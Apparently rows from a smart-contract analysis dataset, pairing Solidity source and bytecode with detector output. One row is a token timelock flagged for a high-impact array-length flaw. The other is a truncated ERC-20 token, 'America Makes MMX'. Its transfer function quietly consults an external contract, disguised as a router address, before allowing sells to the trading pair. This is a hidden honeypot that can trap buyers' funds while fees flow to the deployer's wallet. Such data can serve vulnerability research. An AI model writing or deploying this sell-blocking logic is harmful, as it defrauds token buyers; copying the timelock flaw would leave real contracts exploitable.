false,
_amount);
return true;
}
/**
* @dev Creates locks for the provided _beneficiary with the provided amount
* The creation can be peformed only if:
* - the sender is the owner of the contract;
* - the _beneficiary and _tokenHolder are valid addresses;
* - the _amount is greater than 0 and was appoved by the _tokenHolder prior to the transaction.
* The team members will have two locks with 1 and 2 years lock period, each having half of the amount.
* @param _beneficiary Address that will own the lock.
* @param _amount the amount of the locked tokens.
* @param _start when the lock should start.
* @param _tokenHolder the account that approved the amount for this contract.
*/
function createTeamTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external onlyOwner returns (bool)
{
require(_beneficiary != address(0) && _amount > 0);
require(_tokenHolder != address(0));
uint256 amount = _amount.div(2);
TokenTimelock memory tokenLock1 = TokenTimelock(
amount,
_start.add(TEAM_LOCK_DURATION_PART1),
false,
true,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock1);
TokenTimelock memory tokenLock2 = TokenTimelock(
amount,
_start.add(TEAM_LOCK_DURATION_PART2),
false,
true,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock2);
require(token.transferFrom(_tokenHolder, this, _amount));
emit TokenTimelockCreated(
_beneficiary,
tokenLock1.releaseTime,
true,
amount);
emit TokenTimelockCreated(
_beneficiary,
tokenLock2.releaseTime,
true,
amount);
return true;
}
/**
* @dev Revokes the lock for the provided _beneficiary and _id.
* The revoke can be peformed only if:
* - the sender is the owner of the contract;
* - the controller was activated by the crowdsale contract;
* - the _beneficiary and _id reference a valid lock;
* - the lock was not revoked;
* - the lock is revokable;
* - the lock was not released.
* @param _beneficiary Address owning the lock.
* @param _id id of the lock.
*/
function revokeTokenTimelock(
address _beneficiary,
uint256 _id)
external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id)
{
require(tokenTimeLocks[_beneficiary][_id].revocable);
require(!tokenTimeLocks[_beneficiary][_id].released);
TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id];
tokenLock.revoked = true;
require(token.transfer(owner, tokenLock.amount));
emit TokenTimelockRevoked(_beneficiary);
}
/**
* @dev Returns the number locks of the provided _beneficiary.
* @param _beneficiary Address owning the locks.
*/
function getTokenTimelockCount(address _beneficiary) view external returns (uint) {
return tokenTimeLocks[_beneficiary].length;
}
/**
* @dev Returns the details of the lock referenced by the provided _beneficiary and _id.
* @param _beneficiary Address owning the lock.
* @param _id id of the lock.
*/
function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns (
uint256 _amount,
uint256 _releaseTime,
bool _released,
bool _revocable,
bool _revoked)
{
require(_id < tokenTimeLocks[_beneficiary].length);
_amount = tokenTimeLocks[_beneficiary][_id].amount;
_releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime;
_released = tokenTimeLocks[_beneficiary][_id].released;
_revocable = tokenTimeLocks[_beneficiary][_id].revocable;
_revoked = tokenTimeLocks[_beneficiary][_id].revoked;
}
/**
* @dev Changes the beneficiary of the _id'th lock of the sender with the provided newBeneficiary.
* The release can be peformed only if:
* - the controller was activated by the crowdsale contract;
* - the sender and _id reference a valid lock;
* - the lock was not revoked;
* @param _id id of the lock.
* @param _newBeneficiary Address of the new beneficiary.
*/
function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) {
tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]);
if (tokenTimeLocks[msg.sender].length > 1) {
tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)];
delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]);
}
tokenTimeLocks[msg.sender].length--;
emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary);
}
/**
* @dev Releases the tokens for the calling sender and _id.
* The release can be peformed only if:
* - the controller was activated by the crowdsale contract;
* - the sender and _id reference a valid lock;
* - the lock was not revoked;
* - the lock was not released before;
* - the lock period has passed.
* @param _id id of the lock.
*/
function release(uint256 _id) external {
releaseFor(msg.sender, _id);
}
/**
* @dev Releases the tokens for the provided _beneficiary and _id.
* The release can be peformed only if:
* - the controller was activated by the crowdsale contract;
* - the _beneficiary and _id reference a valid lock;
* - the lock was not revoked;
* - the lock was not released before;
* - the lock period has passed.
* @param _beneficiary Address owning the lock.
* @param _id id of the lock.
*/
function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) {
TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id];
require(!tokenLock.released);
// solium-disable-next-line security/no-block-members
require(block.timestamp >= tokenLock.releaseTime);
tokenLock.released = true;
require(token.transfer(_beneficiary, tokenLock.amount));
emit TokenTimelockReleased(_beneficiary, tokenLock.amount);
}
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f15f4c01461010c57806313f4c7a514610123578063186601ca1461014e5780632ce7900b1461017d57806334c6a9ae146101d457806337bdc99b1461025d578063483a20b21461028a57806368b91201146102cd5780636d2980f61461035c578063715018a61461038757806373f58acd1461039e5780638da5cb5b1461042d5780639c1e03a014610484578063ae32ac7e146104db578063b0070a3014610506578063beb96be514610553578063d290ee06146105a0578063f2fde38b146105ed578063fc0c546a14610630575b600080fd5b34801561011857600080fd5b50610121610687565b005b34801561012f57600080fd5b50610138610700565b6040518082815260200191505060405180910390f35b34801561015a57600080fd5b50610163610706565b604051808215151515815260200191505060405180910390f35b34801561018957600080fd5b506101be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610719565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061021f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610765565b604051808681526020018581526020018415151515815260200183151515158152602001821515151581526020019550505050505060405180910390f35b34801561026957600080fd5b50610288600480360381019080803590602001909291905050506109ce565b005b34801561029657600080fd5b506102cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109db565b005b3480156102d957600080fd5b50610342600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab6565b604051808215151515815260200191505060405180910390f35b34801561036857600080fd5b50610371610e7c565b6040518082815260200191505060405180910390f35b34801561039357600080fd5b5061039c610e84565b005b3480156103aa57600080fd5b50610413600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f86565b604051808215151515815260200191505060405180910390f35b34801561043957600080fd5b50610442611500565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049057600080fd5b50610499611525565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e757600080fd5b506104f061154b565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b5061055160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611553565b005b34801561055f57600080fd5b5061059e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b76565b005b3480156105ac57600080fd5b506105eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611eaa565b005b3480156105f957600080fd5b5061062e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612307565b005b34801561063c57600080fd5b5061064561236e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106e357600080fd5b6001600360146101000a81548160ff021916908315150217905550565b610e1081565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b6000806000806000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050861015156107bd57600080fd5b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110151561080957fe5b9060005260206000209060030201600001549450600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110151561086957fe5b9060005260206000209060030201600101549350600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868154811015156108c957fe5b906000526020600020906003020160020160009054906101000a900460ff169250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110151561093657fe5b906000526020600020906003020160020160019054906101000a900460ff169150600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868154811015156109a357fe5b906000526020600020906003020160020160029054906101000a900460ff1690509295509295909350565b6109d83382611b76565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a7257600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610ac06124d9565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015610b595750600085115b1515610b6457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ba057600080fd5b60a060405190810160405280868152602001610bc7610e108761239490919063ffffffff16565b8152602001600015158152602001600015158152602001600015158152509050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150509060018203906000526020600020906003020160009091929091909150600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555060608201518160020160016101000a81548160ff02191690831515021790555060808201518160020160026101000a81548160ff021916908315150217905550505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8430886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610dc257600080fd5b505af1158015610dd6573d6000803e3d6000fd5b505050506040513d6020811015610dec57600080fd5b81019080805190602001909291905050501515610e0857600080fd5b8573ffffffffffffffffffffffffffffffffffffffff167f291f5c00961b48c33cb77b67255c580649b88517fdbcd1d0bd33483d418cd34882602001516000886040518084815260200183151515158152602001828152602001935050505060405180910390a26001915050949350505050565b6301e1338081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610edf57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080610f916124d9565b610f996124d9565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141580156110315750600087115b151561103c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561107857600080fd5b61108c6002886123b090919063ffffffff16565b925060a0604051908101604052808481526020016110b76301e133808961239490919063ffffffff16565b8152602001600015158152602001600115158152602001600015158152509150600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208290806001815401808255809150509060018203906000526020600020906003020160009091929091909150600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555060608201518160020160016101000a81548160ff02191690831515021790555060808201518160020160026101000a81548160ff02191690831515021790555050505060a0604051908101604052808481526020016111e26303c267008961239490919063ffffffff16565b8152602001600015158152602001600115158152602001600015158152509050600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150509060018203906000526020600020906003020160009091929091909150600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555060608201518160020160016101000a81548160ff02191690831515021790555060808201518160020160026101000a81548160ff021916908315150217905550505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86308a6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b505050506040513d602081101561140757600080fd5b8101908080519060200190929190505050151561142357600080fd5b8773ffffffffffffffffffffffffffffffffffffffff167f291f5c00961b48c33cb77b67255c580649b88517fdbcd1d0bd33483d418cd34883602001516001866040518084815260200183151515158152602001828152602001935050505060405180910390a28773ffffffffffffffffffffffffffffffffffffffff167f291f5c00961b48c33cb77b67255c580649b88517fdbcd1d0bd33483d418cd34882602001516001866040518084815260200183151515158152602001828152602001935050505060405180910390a260019350505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6303c2670081565b600360149054906101000a900460ff16151561156e57600080fd5b3382600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156115ac57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015156115fc57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561164857fe5b906000526020600020906003020160020160029054906101000a900460ff1615151561167357600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811015156116fe57fe5b90600052602060002090600302019080600181540180825580915050906001820390600052602060002090600302016000909192909190915060008201548160000155600182015481600101556002820160009054906101000a900460ff168160020160006101000a81548160ff0219169083151502179055506002820160019054906101000a900460ff168160020160016101000a81548160ff0219169083151502179055506002820160029054906101000a900460ff168160020160026101000a81548160ff02191690831515021790555050505060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115611ac357600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206118b360018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506123c690919063ffffffff16565b8154811015156118bf57fe5b9060005260206000209060030201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561191957fe5b906000526020600020906003020160008201548160000155600182015481600101556002820160009054906101000a900460ff168160020160006101000a81548160ff0219169083151502179055506002820160019054906101000a900460ff168160020160016101000a81548160ff0219169083151502179055506002820160029054906101000a900460ff168160020160026101000a81548160ff021916908315150217905550905050600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611a5960018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506123c690919063ffffffff16565b815481101515611a6557fe5b906000526020600020906003020160008082016000905560018201600090556002820160006101000a81549060ff02191690556002820160016101000a81549060ff02191690556002820160026101000a81549060ff021916905550505b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480919060019003611b15919061250f565b508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbd7737d945b4b9fa0e3e5f4e0bc40321dcc7b0442aabd9aa88a5e8214532eefa60405160405180910390a350505050565b6000600360149054906101000a900460ff161515611b9357600080fd5b8282600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611bd157600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101515611c2157600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515611c6d57fe5b906000526020600020906003020160020160029054906101000a900460ff16151515611c9857600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515611ce457fe5b906000526020600020906003020192508260020160009054906101000a900460ff16151515611d1257600080fd5b82600101544210151515611d2557600080fd5b60018360020160006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8685600001546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e0b57600080fd5b505af1158015611e1f573d6000803e3d6000fd5b505050506040513d6020811015611e3557600080fd5b81019080805190602001909291905050501515611e5157600080fd5b8473ffffffffffffffffffffffffffffffffffffffff167f4d5e2d27c8bdadbf47f8b007fd0b2a49d5b0f405b58d374f5bbce7db643c717284600001546040518082815260200191505060405180910390a25050505050565b6000600360149054906101000a900460ff161515611ec757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f2257600080fd5b8282600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611f6057600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101515611fb057600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515611ffc57fe5b906000526020600020906003020160020160029054906101000a900460ff1615151561202757600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561207357fe5b906000526020600020906003020160020160019054906101000a900460ff16151561209d57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811015156120e957fe5b906000526020600020906003020160020160009054906101000a900460ff1615151561211457600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561216057fe5b9060005260206000209060030201925060018360020160026101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685600001546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561227757600080fd5b505af115801561228b573d6000803e3d6000fd5b505050506040513d60208110156122a157600080fd5b810190808051906020019092919050505015156122bd57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff167f7188a02ffeeb89120dd037f99a3fb512752500406fb7472e6422e94f31857ce060405160405180910390a25050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236257600080fd5b61236b816123df565b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081830190508281101515156123a757fe5b80905092915050565b600081838115156123bd57fe5b04905092915050565b60008282111515156123d457fe5b818303905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561241b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60a06040519081016040528060008152602001600081526020016000151581526020016000151581526020016000151581525090565b81548183558181111561253c5760030281600302836000526020600020918201910161253b9190612541565b5b505050565b6125a991905b808211156125a55760008082016000905560018201600090556002820160006101000a81549060ff02191690556002820160016101000a81549060ff02191690556002820160026101000a81549060ff021916905550600301612547565b5090565b905600a165627a7a7230582098520600a777cf2c5823a5e6f308d063e868a116f1ee9200d4f6dbb740f93b740029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,356 |
0x9068ce8560f2796813117d9f9c74fdb4a944cbd1 | //SPDX-License-Identifier: MIT
// Telegram: http://americamakes.us/mmx
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="America Makes MMX";
string constant TOKEN_SYMBOL="MMX";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MMX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
